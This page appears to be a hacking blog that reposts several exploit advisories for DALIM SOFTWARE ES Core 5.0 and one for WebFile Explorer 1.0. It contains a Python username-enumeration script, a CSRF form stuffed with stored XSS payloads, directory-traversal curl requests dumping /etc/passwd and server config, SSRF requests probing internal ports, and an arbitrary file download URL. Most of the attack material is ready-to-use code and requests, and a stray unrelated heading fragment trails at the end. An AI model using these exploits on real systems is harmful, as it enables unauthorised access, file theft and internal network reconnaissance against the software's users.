Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863109168

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/env python
#
#
# DALIM SOFTWARE ES Core 5.0 build 7184.1 User Enumeration Weakness
#
#
# Vendor: Dalim Software GmbH
# Product web page: https://www.dalim.com
# Affected version: ES/ESPRiT 5.0 (build 7184.1)
#                                 (build 7163.2)
#                                 (build 7163.0)
#                                 (build 7135.0)
#                                 (build 7114.1)
#                                 (build 7114.0)
#                                 (build 7093.1)
#                                 (build 7093.0)
#                                 (build 7072.0)
#                                 (build 7051.3)
#                                 (build 7051.1)
#                                 (build 7030.0)
#                                 (build 7009.0)
#                                 (build 6347.0)
#                                 (build 6326.0)
#                                 (build 6305.1)
#                                 (build 6235.9)
#                                 (build 6172.1)
#                   ES/ESPRiT 4.5 (build 6326.0)
#                                 (build 6144.2)
#                                 (build 5180.2)
#                                 (build 5096.0)
#                                 (build 4314.3)
#                                 (build 4314.0)
#                                 (build 4146.4)
#                                 (build 3308.3)
#                   ES/ESPRiT 4.0 (build 4202.0)
#                                 (build 4132.1)
#                                 (build 2235.0)
#                   ES/ESPRiT 3.0
#
# Summary: ES is the new Enterprise Solution from DALIM SOFTWARE built
# from the successful TWIST, DIALOGUE and MISTRAL product lines. The ES
# Core is the engine that can handle project tracking, JDF device workflow,
# dynamic user interface building, volume management. Each ES installation
# will have different features, depending on the license installed: online
# approval, prepress workflow, project tracking, imposition management...
#
# ES is a collaborative digital asset production and management platform,
# offering services ranging from online approval to web-based production
# environment for all participants of the production cycle, including brand
# owners, agencies, publishers, pre-media, printers and multichannel service
# provider. ES lets users plan, execute and control any aspect of media
# production, regardless of the final use of the output (print, web, ebook,
# movie, and others). It ensures productivity and longterm profitability.
#
# Desc: The weakness is caused due to the 'Login.jsp' script enumerating
# the list of valid usernames when some characters are provided via the
# 'login' parameter.
#
# Tested on: Red Hat Enterprise Linux Server release 7.3 (Maipo)
#            CentOS 7
#            Apache Tomcat/7.0.78
#            Apache Tomcat/7.0.67
#            Apache Tomcat/7.0.42
#            Apache Tomcat/6.0.35
#            Apache-Coyote/1.1
#            Java/1.7.0_80
#            Java/1.6.0_21
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2017-5425
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5425.php
#
#
# 15.06.2017
#


import argparse
import requests
import sys

from colorama import Fore, Back, Style, init

init()

print 'User Enumeration Tool v0.3 for DALiM ES <= v5.0'
parser = argparse.ArgumentParser()
parser.add_argument('-t', help='target IP or hostname', action='store', dest='target')
parser.add_argument('-f', help='username wordlist', action='store', dest='file')

args = parser.parse_args()
if len(sys.argv) != 5:
	parser.print_help()
	sys.exit()

host = args.target
fn = args.file

try:
	users = open(args.file, 'r')
except(IOError):
	print '[!] Error opening \'' +fn+ '\' file.'
	sys.exit()
lines = users.read().splitlines()
print '[*] Loaded %d usernames for testing.\n' % len(open(fn).readlines())
users.close()
results = open('validusers.txt', 'w')

for line in lines:
	try:
		r = requests.post("http://" +host+ "/Esprit/public/Login.jsp", data={'actionRole' : 'getRoles', 'login' : line})
		print '[+] Testing username: ' +Fore.GREEN+line+Fore.RESET
		testingus = r.text[50:72]
		if testingus[19:20] != "\"":
			print '[!] Found ' +Style.BRIGHT+Fore.RED+line+Fore.RESET+Style.RESET_ALL+ ' as valid registered user.'
			results.write('%s\n' % line)
	except:
		print '[!] Error connecting to http://'+host
		sys.exit()

results.close()
print '\n[*] Enumeration completed!'
print '[*] Valid usernames successfully written to \'validusers.txt\' file.\n'
            
<!--


DALIM SOFTWARE ES Core 5.0 build 7184.1 Multiple Stored XSS And CSRF Vulnerabilities


Vendor: Dalim Software GmbH
Product web page: https://www.dalim.com
Affected version: ES/ESPRiT 5.0 (build 7184.1)
                                (build 7163.2)
                                (build 7163.0)
                                (build 7135.0)
                                (build 7114.1)
                                (build 7114.0)
                                (build 7093.1)
                                (build 7093.0)
                                (build 7072.0)
                                (build 7051.3)
                                (build 7051.1)
                                (build 7030.0)
                                (build 7009.0)
                                (build 6347.0)
                                (build 6326.0)
                                (build 6305.1)
                                (build 6235.9)
                                (build 6172.1)
                  ES/ESPRiT 4.5 (build 6326.0)
                                (build 6144.2)
                                (build 5180.2)
                                (build 5096.0)
                                (build 4314.3)
                                (build 4314.0)
                                (build 4146.4)
                                (build 3308.3)
                  ES/ESPRiT 4.0 (build 4202.0)
                                (build 4132.1)
                                (build 2235.0)
                  ES/ESPRiT 3.0

Summary: ES is the new Enterprise Solution from DALIM SOFTWARE built
from the successful TWIST, DIALOGUE and MISTRAL product lines. The ES
Core is the engine that can handle project tracking, JDF device workflow,
dynamic user interface building, volume management. Each ES installation
will have different features, depending on the license installed: online
approval, prepress workflow, project tracking, imposition management...

ES is a collaborative digital asset production and management platform,
offering services ranging from online approval to web-based production
environment for all participants of the production cycle, including brand
owners, agencies, publishers, pre-media, printers and multichannel service
provider. ES lets users plan, execute and control any aspect of media
production, regardless of the final use of the output (print, web, ebook,
movie, and others). It ensures productivity and longterm profitability.

Desc: The application allows users to perform certain actions via HTTP
requests without performing any validity checks to verify the requests.
This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site. XSS issues
were also discovered. The issue is triggered when an unauthorized input
passed via multiple POST and GET parameters are not properly sanitized
before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context
of an affected site.

Tested on: Red Hat Enterprise Linux Server release 7.3 (Maipo)
           CentOS 7
           Apache Tomcat/7.0.78
           Apache Tomcat/7.0.67
           Apache Tomcat/7.0.42
           Apache Tomcat/6.0.35
           Apache-Coyote/1.1
           Java/1.7.0_80
           Java/1.6.0_21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5426
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5426.php


15.06.2017

-->


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://TARGET:8080/dalimws/admin" method="POST">
      <input type="hidden" name="Prop/DeviceName" value="TESTHOST</script><script>alert(1)</script>" />
      <input type="hidden" name="Prop_DeviceName_edit" value="TESTHOST" />
      <input type="hidden" name="Prop/DeviceID" value="WebService-2510717331</script><script>alert(2)</script>" />
      <input type="hidden" name="Prop_DeviceID_edit" value="WebService-2510717331" />
      <input type="hidden" name="Prop/QueueCapacity" value="-1</script>script>alert(3)</script>" />
      <input type="hidden" name="Prop_QueueCapacity_edit" value="-1" />
      <input type="hidden" name="Prop/AbortOnNothingDone" value="false" />
      <input type="hidden" name="Prop/IgnoreNodeInfo" value="false" />
      <input type="hidden" name="Prop/SecurityPassword" value="" />
      <input type="hidden" name="Prop_SecurityPassword_edit" value="" />
      <input type="hidden" name="Prop/QueueFolderPath" value="/symlnks/io/jobs/JDFDevice/queue</script><script>alert(4)</script>" />
      <input type="hidden" name="Prop_QueueFolderPath_edit" value="/symlnks/io/jobs/JDFDevice/queue" />
      <input type="hidden" name="Prop/PluginFolderPath" value="/symlnks/DALiM_6.0/jdfplugins" />
      <input type="hidden" name="Prop_PluginFolderPath_edit" value="/symlnks/DALiM_6.0/jdfplugins</script><script>alert(5)</script>" />
      <input type="hidden" name="Prop/HotFolderPath" value="/symlnks/io/jobs/JDFDevice/hotfolder</script><script>alert(6)</script>" />
      <input type="hidden" name="Prop_HotFolderPath_edit" value="/symlnks/io/jobs/JDFDevice/hotfolder" />
      <input type="hidden" name="Prop/DestinationFolderPath" value="/symlnks/io/jobs/JDFDevice/output" />
      <input type="hidden" name="Prop_DestinationFolderPath_edit" value="/symlnks/io/jobs/JDFDevice/output</script><script>alert(7)</script>" />
      <input type="hidden" name="Prop/ControllerURL" value="http://TESTHOST:8080/dalimws/controller</script><script>alert(8)</script>" />
      <input type="hidden" name="Prop_ControllerURL_edit" value="http://TESTHOST:8080/dalimws/controller" />
      <input type="hidden" name="Prop_DBSettings_edit" value="" />
      <input type="hidden" name="Prop/DBSettings" value="" />
      <input type="hidden" name="Prop/JDBC_Driver" value="org.hsqldb.jdbcDriver</script><script>alert(9)</script>" />
      <input type="hidden" name="Prop_JDBC_Driver_edit" value="org.hsqldb.jdbcDriver" />
      <input type="hidden" name="Prop/JDBC_URL" value="jdbc:hsqldb:/symlnks/io/jobs/JDFDevice/queue/QueueDB" />
      <input type="hidden" name="Prop_JDBC_URL_edit" value="jdbc:hsqldb:/symlnks/io/jobs/JDFDevice/queue/QueueDB" />
      <input type="hidden" name="Prop/JDBC_User" value="SA" />
      <input type="hidden" name="Prop_JDBC_User_edit" value="SA" />
      <input type="hidden" name="Prop/JDBC_Password" value="null" />
      <input type="hidden" name="Prop_JDBC_Password_edit" value="null" />
      <input type="hidden" name="Prop_LogLevel_edit" value="Information" />
      <input type="hidden" name="Prop/LogLevel" value="INFO" />
      <input type="hidden" name="Prop_LogFiles_edit" value="stdout.log" />
      <input type="hidden" name="Prop/LogFiles" value="stdout.log" />
      <input type="hidden" name="Prop/LogContent" value="" />
      <input type="hidden" name="Prop_LogContent_edit" value="" />
      <input type="hidden" name="com/dalim/esprit/devices/imageserverpreview/ImageServerPreview/CacheSize" value="1000" />
      <input type="hidden" name="com_dalim_esprit_devices_imageserverpreview_ImageServerPreview_CacheSize_edit" value="1000" />
      <input type="hidden" name="com/dalim/esprit/devices/imageserverpreview/ImageServerPreview/CacheFolder" value="/symlnks/io/jobs/dialogue/cache" />
      <input type="hidden" name="com_dalim_esprit_devices_imageserverpreview_ImageServerPreview_CacheFolder_edit" value="/symlnks/io/jobs/dialogue/cache" />
      <input type="hidden" name="com_dalim_esprit_devices_imageserverpreview_ImageServerPreview_TextExtractionVersion_edit" value="2" />
      <input type="hidden" name="com/dalim/esprit/devices/imageserverpreview/ImageServerPreview/TextExtractionVersion" value="2" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/twist/TwistPlugin/TwistGate" value="TWIST7-1" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_twist_TwistPlugin_TwistGate_edit" value="TWIST7-1" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/twist/TwistPlugin/GatePort" value="6042" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_twist_TwistPlugin_GatePort_edit" value="6042" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/twist/TwistPlugin/DirectFileIO" value="false" />
      <input type="hidden" name="com/dalim/esprit/devices/ddms/cylindermontage/CylinderMontageProcess/fontRegistrationURL" value="" />
      <input type="hidden" name="com_dalim_esprit_devices_ddms_cylindermontage_CylinderMontageProcess_fontRegistrationURL_edit" value="" />
      <input type="hidden" name="com/dalim/esprit/devices/ddms/cylindermontage/CylinderMontageProcess/jdfProviderURL" value="" />
      <input type="hidden" name="com_dalim_esprit_devices_ddms_cylindermontage_CylinderMontageProcess_jdfProviderURL_edit" value="" />
      <input type="hidden" name="com/dalim/esprit/devices/ddms/cylindermontage/CylinderMontageProcess/layoutFolder" value="false" />
      <input type="hidden" name="com_dalim_esprit_devices_ddms_cylindermontage_CylinderMontageProcess_layoutFolder_edit" value="false" />
      <input type="hidden" name="com/dalim/esprit/devices/ddms/cylindermontage/CylinderMontageProcess/markFolder" value="" />
      <input type="hidden" name="com_dalim_esprit_devices_ddms_cylindermontage_CylinderMontageProcess_markFolder_edit" value="" />
      <input type="hidden" name="com/dalim/esprit/devices/ddms/cylindermontage/CylinderMontageProcess/markTmp" value="" />
      <input type="hidden" name="com_dalim_esprit_devices_ddms_cylindermontage_CylinderMontageProcess_markTmp_edit" value="" />
      <input type="hidden" name="com/dalim/devices/archiverestore/ArchivePlugin/P5Server" value="127.0.0.1" />
      <input type="hidden" name="com_dalim_devices_archiverestore_ArchivePlugin_P5Server_edit" value="127.0.0.1" />
      <input type="hidden" name="com/dalim/devices/archiverestore/ArchivePlugin/P5ServerPort" value="8000" />
      <input type="hidden" name="com_dalim_devices_archiverestore_ArchivePlugin_P5ServerPort_edit" value="8000" />
      <input type="hidden" name="com/dalim/devices/archiverestore/ArchivePlugin/P5User" value="super" />
      <input type="hidden" name="com_dalim_devices_archiverestore_ArchivePlugin_P5User_edit" value="super" />
      <input type="hidden" name="com/dalim/devices/archiverestore/ArchivePlugin/P5Password" value="super" />
      <input type="hidden" name="com_dalim_devices_archiverestore_ArchivePlugin_P5Password_edit" value="super" />
      <input type="hidden" name="com/dalim/devices/archiverestore/ArchivePlugin/P5Client" value="" />
      <input type="hidden" name="com_dalim_devices_archiverestore_ArchivePlugin_P5Client_edit" value="" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/fileinput/FileInputPlugin/HotfolderLogging" value="false" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/fileinput/FileInputPlugin/FtpPort" value="" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_fileinput_FileInputPlugin_FtpPort_edit" value="" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/fileinput/FileInputPlugin/FtpDataRoot" value="/symlnks/io/jobs/ftpd/data" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_fileinput_FileInputPlugin_FtpDataRoot_edit" value="/symlnks/io/jobs/ftpd/data" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/fileinput/FileInputPlugin/FtpwatcherRoot" value="/symlnks/io/jobs/ftpwatcher" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_fileinput_FileInputPlugin_FtpwatcherRoot_edit" value="/symlnks/io/jobs/ftpwatcher" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/fileinput/FileInputPlugin/FtpwatcherLogging" value="false" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/fileinput/FileInputPlugin/MailwatcherRoot" value="/symlnks/io/jobs/mailwatcher" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_fileinput_FileInputPlugin_MailwatcherRoot_edit" value="/symlnks/io/jobs/mailwatcher" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/fileinput/FileInputPlugin/FilemonitorRoot" value="" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_fileinput_FileInputPlugin_FilemonitorRoot_edit" value="" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/fileinput/FileInputPlugin/FilemonitorBatchCount" value="1" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_fileinput_FileInputPlugin_FilemonitorBatchCount_edit" value="1" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_fileinput_FileInputPlugin_MetadataType_edit" value="DETAILED" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/fileinput/FileInputPlugin/MetadataType" value="DETAILED" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_fileinput_FileInputPlugin_DatabaseType_edit" value="hsqldb" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/fileinput/FileInputPlugin/DatabaseType" value="hsqldb" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/csconv/ColorSpaceConversionPlugin/BaseFolder" value="" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_csconv_ColorSpaceConversionPlugin_BaseFolder_edit" value="" />
      <input type="hidden" name="com/dalim/jdf/process/plugin/csconv/ColorSpaceConversionPlugin/CheckInterval" value="-1" />
      <input type="hidden" name="com_dalim_jdf_process_plugin_csconv_ColorSpaceConversionPlugin_CheckInterval_edit" value="-1" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/LogfileMaxSize" value="100M" />
      <input type="hidden" name="com_dalim_jdf_plugin_etwist_server_ETwistServerPlugin_LogfileMaxSize_edit" value="100M" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/LogfileMaxCount" value="10" />
      <input type="hidden" name="com_dalim_jdf_plugin_etwist_server_ETwistServerPlugin_LogfileMaxCount_edit" value="10" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/LogAddHD" value="false" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/LogIntoTomcatLog" value="false" />
      <input type="hidden" name="com_dalim_jdf_plugin_etwist_server_ETwistServerPlugin_LoggingLevel_edit" value="INFO" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/LoggingLevel" value="INFO" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/ExtraServerLogging" value="false" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/ServerPort" value="6019" />
      <input type="hidden" name="com_dalim_jdf_plugin_etwist_server_ETwistServerPlugin_ServerPort_edit" value="6019" />
      <input type="hidden" name="com_dalim_jdf_plugin_etwist_server_ETwistServerPlugin_PublishWorkflows_edit" value="on" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/PublishWorkflows" value="true" />
      <input type="hidden" name="com_dalim_jdf_plugin_etwist_server_ETwistServerPlugin_RetLogLocation_edit" value="JDFResult" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/RetLogLocation" value="JDFResult" />
      <input type="hidden" name="com_dalim_jdf_plugin_etwist_server_ETwistServerPlugin_LogAlways_edit" value="on" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/LogAlways" value="true" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/MaxProcessCount" value="16" />
      <input type="hidden" name="com_dalim_jdf_plugin_etwist_server_ETwistServerPlugin_MaxProcessCount_edit" value="16" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/MaxRunningProcessCount" value="16" />
      <input type="hidden" name="com_dalim_jdf_plugin_etwist_server_ETwistServerPlugin_MaxRunningProcessCount_edit" value="16" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/HardworkerCount" value="2" />
      <input type="hidden" name="com_dalim_jdf_plugin_etwist_server_ETwistServerPlugin_HardworkerCount_edit" value="2" />
      <input type="hidden" name="com/dalim/jdf/plugin/etwist/server/ETwistServerPlugin/RepositoryUrl" value="http://localhost:8080/EspritEngine/JMFProcessor.html/servlet/etwistrepository" />
      <input type="hidden" name="com_dalim_jdf_plugin_etwist_server_ETwistServerPlugin_RepositoryUrl_edit" value="http://localhost:8080/EspritEngine/JMFProcessor.html/servlet/etwistrepository" />
      <input type="hidden" name="Prop/queueIsRunning" value="false" />
      <input type="hidden" name="Prop/action" value="return" />
      <input type="hidden" name="XUI_SessionID" value="admin976" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
DALIM SOFTWARE ES Core 5.0 build 7184.1 Multiple Remote File Disclosures


Vendor: Dalim Software GmbH
Product web page: https://www.dalim.com
Affected version: ES/ESPRiT 5.0 (build 7184.1)
                                (build 7163.2)
                                (build 7163.0)
                                (build 7135.0)
                                (build 7114.1)
                                (build 7114.0)
                                (build 7093.1)
                                (build 7093.0)
                                (build 7072.0)
                                (build 7051.3)
                                (build 7051.1)
                                (build 7030.0)
                                (build 7009.0)
                                (build 6347.0)
                                (build 6326.0)
                                (build 6305.1)
                                (build 6235.9)
                                (build 6172.1)
                  ES/ESPRiT 4.5 (build 6326.0)
                                (build 6144.2)
                                (build 5180.2)
                                (build 5096.0)
                                (build 4314.3)
                                (build 4314.0)
                                (build 4146.4)
                                (build 3308.3)
                  ES/ESPRiT 4.0 (build 4202.0)
                                (build 4132.1)
                                (build 2235.0)
                  ES/ESPRiT 3.0

Summary: ES is the new Enterprise Solution from DALIM SOFTWARE built
from the successful TWIST, DIALOGUE and MISTRAL product lines. The ES
Core is the engine that can handle project tracking, JDF device workflow,
dynamic user interface building, volume management. Each ES installation
will have different features, depending on the license installed: online
approval, prepress workflow, project tracking, imposition management...

ES is a collaborative digital asset production and management platform,
offering services ranging from online approval to web-based production
environment for all participants of the production cycle, including brand
owners, agencies, publishers, pre-media, printers and multichannel service
provider. ES lets users plan, execute and control any aspect of media
production, regardless of the final use of the output (print, web, ebook,
movie, and others). It ensures productivity and longterm profitability.

Desc: Input passed thru several parameters is not properly verified before
being used to read files. This can be exploited by an unauthenticated 
attacker to read arbitrary files from local resources with directory
traversal attacks.

Tested on: Red Hat Enterprise Linux Server release 7.3 (Maipo)
           CentOS 7
           Apache Tomcat/7.0.78
           Apache Tomcat/7.0.67
           Apache Tomcat/7.0.42
           Apache Tomcat/6.0.35
           Apache-Coyote/1.1
           Java/1.7.0_80
           Java/1.6.0_21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5427
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5427.php


15.06.2017

--


---------------------------------------------------
1. PoC request for Password.jsp, orgName parameter:
---------------------------------------------------

~ curl -v http://TARGET:8080/Esprit/public/Password.jsp\?orgName\=../../../../../../../../../etc/passwd
*   Trying TARGET...
* TCP_NODELAY set
* Connected to TARGET (TARGET) port 8080 (#0)
> GET /Esprit/public/Password.jsp?orgName=../../../../../../../../../etc/passwd HTTP/1.1
> Host: TARGET:8080
> User-Agent: curl/7.51.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=UTF-8
< Transfer-Encoding: chunked
< Date: Thu, 15 Jun 2017 02:18:44 GMT
< Server: Server
< 

--snip--
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
--snip--


----------------------------------------------------
2. PoC request for Login.jsp, orgUnitName parameter:
----------------------------------------------------

~ curl -v http://TARGET/Esprit/ES/Login\?orgUnitName\=../../../../../../../../../etc/passwd
*   Trying TARGET...
* TCP_NODELAY set
* Connected to TARGET (TARGET) port 80 (#0)
> GET /Esprit/ES/Login?orgUnitName=../../../../../../../../../etc/passwd HTTP/1.1
> Host: TARGET
> User-Agent: curl/7.51.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Thu, 15 Jun 2017 02:19:31 GMT
< Server: Server
< Content-Type: text/html;charset=UTF-8
< Set-Cookie: JSESSIONID=0ECF83AA0D337B5D942B5C164B172051; Path=/Esprit; HttpOnly
< Transfer-Encoding: chunked
< 

--snip--
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
--snip--


---------------------------------------
3. PoC request for log, file parameter:
---------------------------------------

~ curl http://TARGET:8080/dalimws/log\?file\=../../../../../../../etc/passwd\&len\=10000\&download\=true -v
*   Trying TARGET...
* TCP_NODELAY set
* Connected to TARGET (TARGET) port 8080 (#0)
> GET /dalimws/log?file=../../../../../../../etc/passwd&len=10000&download=true HTTP/1.1
> Host: TARGET:8080
> User-Agent: curl/7.51.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Content-Disposition: attachment; filename=../../../../../../../etc/passwd
< Content-Type: text/plain
< Content-Length: 10000
< Date: Thu, 15 Jun 2017 02:20:17 GMT
< Server: Server
< 

--snip--
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
--snip--


---------------------------------------
4. PoC request for log, file parameter:
---------------------------------------

POST /dalimws/log HTTP/1.1
Host: TARGET:8080
Content-Length: 116
User-Agent: H2O
Content-type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Connection: close

file=../../../../../../../symlnks/common/tomcat7.0/conf/web.xml&len=1000000&XUI_SessionID=LOGReq&responseWiter=XML

Response:

--snip--
    <!-- The mapping for the default servlet -->
    <servlet-mapping>
        <servlet-name>default</servlet-name>
        <url-pattern>/</url-pattern>
    </servlet-mapping>

    <!-- The mappings for the JSP servlet -->
    <servlet-mapping>
        <servlet-name>jsp</servlet-name>
        <url-pattern>*.jsp</url-pattern>
        <url-pattern>*.jspx</url-pattern>
    </servlet-mapping>
--snip--
            
DALIM SOFTWARE ES Core 5.0 build 7184.1 Server-Side Request Forgery


Vendor: Dalim Software GmbH
Product web page: https://www.dalim.com
Affected version: ES/ESPRiT 5.0 (build 7184.1)
                                (build 7163.2)
                                (build 7163.0)
                                (build 7135.0)
                                (build 7114.1)
                                (build 7114.0)
                                (build 7093.1)
                                (build 7093.0)
                                (build 7072.0)
                                (build 7051.3)
                                (build 7051.1)
                                (build 7030.0)
                                (build 7009.0)
                                (build 6347.0)
                                (build 6326.0)
                                (build 6305.1)
                                (build 6235.9)
                                (build 6172.1)
                  ES/ESPRiT 4.5 (build 6326.0)
                                (build 6144.2)
                                (build 5180.2)
                                (build 5096.0)
                                (build 4314.3)
                                (build 4314.0)
                                (build 4146.4)
                                (build 3308.3)
                  ES/ESPRiT 4.0 (build 4202.0)
                                (build 4132.1)
                                (build 2235.0)
                  ES/ESPRiT 3.0

Summary: ES is the new Enterprise Solution from DALIM SOFTWARE built
from the successful TWIST, DIALOGUE and MISTRAL product lines. The ES
Core is the engine that can handle project tracking, JDF device workflow,
dynamic user interface building, volume management. Each ES installation
will have different features, depending on the license installed: online
approval, prepress workflow, project tracking, imposition management...

ES is a collaborative digital asset production and management platform,
offering services ranging from online approval to web-based production
environment for all participants of the production cycle, including brand
owners, agencies, publishers, pre-media, printers and multichannel service
provider. ES lets users plan, execute and control any aspect of media
production, regardless of the final use of the output (print, web, ebook,
movie, and others). It ensures productivity and longterm profitability.


Desc: A server-side request forgery (SSRF) vulnerability exists in the
DALIM Web Service management interface within the XUI servlet functionality.
The DALIM web services are a set of tools used by the different DALIM SOFTWARE
applications: TWIST, MISTRAL and ES. It provides file sharing capabilities,
JDF devices, JDF controller, and job spooling management. The application
parses user supplied data in the GET parameter 'screen' to construct a page
request to the service. Since no validation is carried out on the parameter,
an attacker can specify an external domain and force the application to make
a HTTP request to an arbitrary destination host. This can be used by an external
attacker for example to bypass firewalls and initiate a service and network
enumeration on the internal network through the affected application.

Tested on: Red Hat Enterprise Linux Server release 7.3 (Maipo)
           CentOS 7
           Apache Tomcat/7.0.78
           Apache Tomcat/7.0.67
           Apache Tomcat/7.0.42
           Apache Tomcat/6.0.35
           Apache-Coyote/1.1
           Java/1.7.0_80
           Java/1.6.0_21


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5428
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5428.php


15.06.2017

--


1. Check for open port:
-----------------------

GET /dalimws/xui?screen=http://127.0.0.1:8888 HTTP/1.1
Host: 192.168.1.2:8080
Accept: */*
Accept-Language: en
Connection: close

<Error message="java.net.ConnectException: Connection refused org.w3c.dom.DOMException: java.net.ConnectException: Connection refused&#10;&#9;at


2. Check for open port:
-----------------------

GET /dalimws/xui?screen=http://127.0.0.1:8080 HTTP/1.1
Host: 192.168.1.2:8080
Accept: */*
Accept-Language: en
Connection: close

<Error message="org.xml.sax.SAXParseException: The reference to entity "ctype" must end with the ';' delimiter. org.w3c.dom.DOMException: org.xml.sax.SAXParseException: The


3. Observe server-side request:
-------------------------------

GET /dalimws/xui?screen=http://192.168.1.55 HTTP/1.1
Host: 192.168.1.2:8080
Accept-Language: en-US,en;q=0.8,mk;q=0.6
Connection: close


Request from 192.168.1.2 to 192.168.1.55 observed:

GET / HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: SSRF/Test_1.4
Host: 192.168.1.55
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
            
# # # # #
# Exploit Title: WebFile Explorer 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 09.08.2017
# Vendor Homepage : http://speicher.host/
# Software Link: https://codecanyon.net/item/webfile-explorer/20366192/
# Demo: http://speicher.host/envato/codecanyon/demo/web-file-explorer/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The security obligation allows an attacker to arbitrary download files..
#
# Vulnerable Source:
# 1	.............
# 2	$file = $_GET['id'];
# 3	
# 4	if (file_exists($file)) {
# 5	    header('Content-Description: File Transfer');
# 6	    header('Content-Type: application/octet-stream');
# 7	    header('Content-Disposition: attachment; filename="'.basename($file).'"');
# 8	    header('Expires: 0');
# 9	    header('Cache-Control: must-revalidate');
# 10 .............
# Proof of Concept:
# http://localhost/[PATH]/web-file-explorer/download.php?id=WebExplorer/[FILE]
# 
# Etc...
# # # # #
            

0x00脆弱性の背景
